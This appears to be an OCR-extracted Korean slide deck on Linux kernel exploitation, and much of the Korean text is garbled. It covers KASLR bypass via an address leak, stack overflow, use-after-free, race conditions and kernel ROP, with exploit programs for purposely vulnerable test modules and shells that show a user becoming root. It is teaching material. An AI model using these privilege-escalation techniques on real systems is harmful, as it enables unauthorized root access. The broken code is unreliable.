Linux Kernel Hacking
(From user to root privileges)
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Vulnerability report

e CVE-2023-32269 (Linux kernel NET/ROM socket Use-After-Free)
e CVE-2022-41218 (Linux kernel DVB core Use-After-Free)

e CVE-2022-45884 (Linux kernel DVB core Use-After-Free)

e CVE-2022-45885 (Linux kernel DVB core Use-After-Free)

° e CVE-2022-45886 (Linux kernel DVB core Use-After-Free)

T h e CVE-2022-45919 (Linux kernel DVB core Use-After-Free)

ec r I e CVE-2022-40307 (Linux kernel Device driver Use-After-Free)

Linux kernel contribution
e af key: Fix heap information leak
e netrom: Fix use-after-free caused by accept on already connected socket
_<|>_ e net/rose: Fix to not accept on connected socket
e net/x25: Fix to not accept on connected socket
e efi: capsule-loader: Fix use-after-free in efi_capsule_write
e HID: roccat: Fix Use-After-Free in roccat_read

e bpf: Always use maximal size for copy_array()
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CONFIG_PHYSICAL_ALIGN)
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commit_creds(prepare_kernel_cred(0))
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e prepare_kernel_cred(0) 2 =

e commit_creds() = &%l E{A3 2] credentialsE 21X =2 B2 credentials £
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KASLR £3]

KASLR(Kernel Address Space Layout Randomization)O|2}?
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e CONFIG_RANDOMIZE_BASE, CONFIG_RANDOMIZE_MEMORY

e CONFIG_PHYSICAL_ALIGN
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KASLR 22

ssize_t test_read(
ptr printk;

file *filp, char

__user *buf, size_t count, loff_t *f_pos) {

copy_to_user(buf, &ptr, (ptr));
} ’
ssize_t test_write( file *filp, char __user *buf, size_t count, loff_t *f_pos) {
int (xfp_exec) ( ) ;
copy_from_user(&fp_exec, buf, (fp_exec)); teSt.C
fp_exec();
. o 7{E2| SES 2sl=IE =&et + A= 718
}
° 8t20llM copy_to_user 45 0| 235
module_init(test_init); 2O =ELAE QXN SO E MESI=12 24
module_exit(test_exit);
° 8t2:0llM copy_from_user 45 0|25
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int main() {
int fd;
leak -

read(fd, &leak,
printf("leak

close(fd);

fd = open("/dev/test", O_RDWR);

A

: %p\n", leak);
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-» kaslr_bypass ./start.sh
gemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.Q1H:ECX.vmx [bit 5]

%] H / $ ./leak
— '_uH leak : OxffffffffaSebedb9
/s

.

-» kaslr_bypass ./start.sh
gemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.Q1H:ECX.vmx [bit 5]

-I|=- 'il_ul'l / $ ./leak
leak : Oxffffffffb7cbedb9
/s |
o HEE 5 M REISM Z1Zf leak ZEE Halist A}
o X tinjje} 5= tHuf AlsHoj|A gt0| FAT} ZHZF OxFIFFFFff o}

OxfFffffff EMELCIE S & S, §,7120| R E mlinjc} =270 = A
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exp.c
int main() { = =
int fd; o test H'E R S0||A E{X|= F|2FE S 0| 25l st &
DA &2 227|E exploit code
kbase 5
fd = open("/dev/test", O_RDWR); o write() &+E 0|23 test Z=0j| (5 o]
XA E X{cC}
read(fd, &leak, 7); TL= M
printf("leak : %p\n", leak);
kbase = leak : e payload et
commit_creds kbase : =
prepare_kernel_cred kbase - e = et ~ -
8 MYE S, /bin/shE AdsE A
ptr CEVAGELH
backup_rv(); o =35I M2, leakst FAE 0|23
write(fd, &ptr, (ptr)); £ stk 5|, 0] o] 2235t 7{d sk
close(fd); =9 £ {3l exploitdi] 0| 5}= 21
}




KASLR 22

/ # head -3 proc/kallsyms
ffffffffbc400000 T startup_64
ffffffffbc400000 T _stext
ffffffffbc400000 T _text

/ # cat proc/kallsyms | grep commit_creds
ffffffffbc4d8e9f@ T commit_creds

/ # |}

offset of commit_creds =
Oxffffffffbc48e9f0 - Oxffffffffbc400000 =

/proc/kallsyms
° o2 HEe B E =9
AE cth 9= 1ol
° HelO 20t FAE slolst £ QU2
° M E0| HIZ kernel base &2
o TSt ol FAMM HEFLA
(kernel base)S i S+ AS
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W IEX O = SIXE] XA
<offset |4t 2 E> <HY L|RMO 2 SI™El FA>

kbase = leak ; printk Oxffffffff810bedb9

commit_creds = kbase : commit_creds Oxffffffff8108e9f0

prepare_kernel_cred = kbase ; prepare_kernel_cred OxFFffFFff8108ec20

offset 7|4t 11

1. = Oxffffffff810bedb9 - Oxbedb9 = Oxffffffff81000000

2. = OxffffFFff81000000 + Ox8e9f0 = Oxffffffff8108e9f0

3. = OxffffFFff81000000 + Ox8ec20 = Oxffffffff8108ec20

e Oxbedb9, 0x8e9f0, 0x8ec20 = 7{'20| MR EE| 0] = B X] 225
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» kaslr_bypass ./start.sh
gemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.Q1H:ECX.vmx [bit 5]
/ $ id
uid=1000Cuser) gid=1000(user) groups=1000Cuser)
/' $ ./exp
leak : Oxffffffffafebedb9
/ # 1id
uid=0(root) gid=0(root) i—ll_a_f
/ # |}
exploit &/l

e KASLR 227|HE HEst 728 F 8l £, expS &t 21t






Stack based BOF

Stack based BOF(Buffer OverFlow)2t?

o stackOl| 2|X|gt buffer?| etetEl 37| 2HC} O 822 O|O|E{ 7| A20{ Al ulf W 45}0d, Of
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e stackOl|A] BOF7} 45t Stack based BOF, heapOf|A| 2445 Heap
overflow



Stack based BOF

ssize_t bof_write( file *filp, char __user
char arr[32] = { [0 ... 31] P
char *ptr;

char len;

(count ) {
printk("I hate hackers!!");

}

len = (
len ;

char)count;

ptr (char *)kmalloc(len, GFP_KERNEL);

copy_from_user(ptr, buf, len);
memcpy(arr, ptr, len);

buf, size_t count, loff_t *f_pos) {

copy_from_user()E 0|23l fA =25
E{ len 2H3 Cl|O|E{ & T 2 7, XY
Hi4 arr0f] A

E 2l5f{ len2
2552 HZAE|0| copy_from_user()0l|
M £ R



Stack based BOF

(count ) {
printk("I hate hackers!!");

’

integer underflow

ecount LR 0SS &L 9 TZEE Efet U2
o 5IX|at -1 oAl 2 0of 7} w5101 lenO]

2{0l|A] 7

Ox0-1=

JtEIioDR, 0|5 &



Stack based BOF

return address

r13 (pushed)

ri12 (pushed)

rbp (pushed)

rbx (pushed)

canary

arr

arr

arr

arr

high

low

0x4141414141414141

0x4141414141414141

0x4141414141414141

0x4141414141414141

0x4141414141414141

0x4141414141414141
0x4141414141414141

0x4141414141414141

0x4141414141414141

0x4141414141414141

high

low



Use-After-Free

UAF(Use-After-Free)2i?

o UAF= SHEl heap Y2 SiA|



Use-After-Free

CMD_GET
CMD_PUT
CMD_DESTROY
char xptr;
int uaf_open( inode *inode, file *file)
{
ptr = ( Ykzalloc( , GFP_KERNEL);
}
long uaf_ioctl( file =filp, int cmd,
{
(cmd) {
CMD_DESTROY:
kfree(ptr);
CMD_PUT:
copy_from_user(ptr, ( )arg,
CMD_GET:'
copy_to_user(( )arg, ptr,

I

IE

long arg)

o ioctl0f] MEHEl cmdof] [oh2f Z2He] =34

e CMD_DESTROYY 4% M ZOIE| ptr=
kfree()

e CMD_DESTROY casell|= 7t eio|
If20ll CMD_PUT case”llX] fallthrough

o kfree()E! ptroll CH3H copy_from_user()&
SE517| mj=of E -



Race condition

Race conditionO|2}?
o 5 71| 0| &2 task’| =+ XI2l0l| S Al 2610 = 7-00] YofLt= &Fst
e mutex, semaphore, RCU S &5t lockS ALE35H0} &
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Race condition

|
CMD_PUT
CMD_ALLOC
CMD_DESTROY
char xptr;
bool check ;
long race_ioct1( file *filp, int cmd, long arg)
{
(cmd) {
CMD_ALLOC:
('check) {
ptr = ( Ykzalloc( , GFP_KERNEL);
check ;
}
CMD_DESTROY:
(check) {
kfree(ptr);
ptr ;
check ;
b
CMD_PUT:
(check)
copy_from_user(ptr, ( )arg, );
}
}

230

ioctlof] MEHEl cmdof| o2t =Hed

ptrO] St2HEl AEf ™ check = 1, S H|El A

Ef2l ™ check =0
2 checkZE 0]

CMD _PUT case0f| A X &

[
84l ptr7t BHEE|O] Sl 0t

copy_from_user()E €=
o] ExHstx| 22

o Kol wA checkoi CHst
7| ufj20jl CMD_DESTROY®2 CMD PUT

Zt9| race conditionO|] &Al35}0q,
=l ptroi| CHst

CMD_PUTOj|A{ o]O]
copy_from_user()& S et £+ 2



Race condition

ioctl(CMD_DESTROY) ioctl(CMD_PUT)

kfree(ptr);
if (check)
copy_from_user(ptr);
ptr = NULL;

check =0;
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Kernel ROP

kernel ROPZl?

o SMEP HE 7|82 557| §I3t /Mo, Hd 37
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Kernel ROP

ssize_t test_write( file =filp, char __user *buf, size_t count, loff_t *f_pos) {
char arrfg] = { [0 ... 7] };
char *ptr; teSt C

ptr = (char *)kmalloc(count, GFP_KERNEL);

copy_from_user(ptr, buf, count); x|OFXI 2 0|25 HA0| S =22 2|5
memcpy(arr, ptr, count); o~ ' == 0|83l =2l S =< 2lst
= 2 =2fet = =72 2 offH|
} ' ° k=0l M copy_from_user
int test_init( ) { §‘¢§ OI%g % .IEEE i-IOI'h _7I2I

int result; E||0|E'|§ ’.t_'l':a" t|'=% "|='| I|°:| arr0|| 5
result = misc_register(&itest_driver); AI'%I'E Zd% % ¢ 9}!%

} ; =L = _— =

e SSP(canary)E M|elst ¥l Zul st of H|
test_exit( ) {

misc_deregister(&test_driver);

}

module_init(test_init);
module exit(test exit);




Kernel ROP

shell() {
eXecl("/bin/Sh", "Sh", );

int main() {
int fd;

size_t ropl12] = {0, };

commit_creds 0
prepare_kernel_cred £

fd = open("/dev/test", O_RDWR);

backup_rv();

memset (rop, ) ); // dummy

rop[4] ; // Hop rdi; ret;
rop[-] H

rop[©] prepare_kernel_cred;

rop[7] ; // Hop rcx; ret;
rop[“] H

rop[°] ; // ov rdi, rax;
rop[12] = commit_creds;

rop[i1] ; // wapgs; ret;
rop[i”] y  // .retq; ret;
ropl[i-] shell;

rop[14] = rv.user_cs;

ropl[1-] rv.user_rflags;

ropl[1c] rv.user_rsp;

ropl[1/] rv.user_ss;

write(fd, rop, (rop));

close(fd);

rep movs ..

; ret;

L

exp.c
exp.c ZE2| main() e+ £ &
/dev/test &X|E
gixfe £ X&st= strSE
Hel 58 €29l= acy
2 5 Mz} X{ &5t contextS 0|23l A
s 14

et+E 0|85l test 2 =0

=



Kernel ROP

JAVAVAVAVLVAVLVAVAVAVAVAVAVAVES

pop rdi; ret;

0)

prepare_kernel_cred

pop rcx; ret;

0)

mov rdi, rax; rep...; ret;

commit_creds

swapsgs; ret;

iretq; ret;

context

o ‘A2 /l+&= & 3271. & dummy 2



Kernel ROP

‘ AAAAAAAAAAAAAA...

pop rdi; ret;

0)

prepare_kernel_cred

pop rcx; ret;

0)

mov rdi, rax; rep...; ret;

commit_creds

swapsgs; ret;

iretq; ret;

context

2. prepare_kernel_cred(0)
H
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Kernel ROP

JAVAVAVAVLVAVLVAVAVAVAVAVAVAVES

pop rdi; ret;

0)

prepare_kernel_cred

pop rcx; ret;

0)

mov rdi, rax; rep...; ret;

commit_creds

swapsgs; ret;

iretq; ret;

context

3. commit_creds()

Hrehat S rdi 21X 2B =2 2517|2713

o HEE rdiEHX|2ES A=
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Kernel ROP

AAAAAAAAAAAAAA...
pop rdi; ret;
0

prepare_kernel_cred 4. swapgs & iretq

pop rcx; ret; ° o} oday
0

mov rdi, rax; rep...; ret;

mjo

&3l 74 U= Het
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commit_creds

swapsgs; ret;

iretq; ret;

context




Kernel ROP

JAVAVAVAVLVAVLVAVAVAVAVAVAVAVES

pop rdi; ret;

0)

prepare_kernel_cred

pop rcx; ret;

0)

mov rdi, rax; rep...; ret;

commit_creds

swapsgs; ret;

iretq; ret;

context

o 0| =
EZMN

5. context

ook
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Kernel ROP

-» kernel_ROP ./start.sh
gemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.Q1H:ECX.vmx [bit 5]
/ $ id

ui1d=1000Cuser) gid=1000(user) groups=1000(user) user ﬂi"
/' $ ./exp

/ # 1id

uid=0(root) gid=0(root) iﬂ

/ # |}

ot
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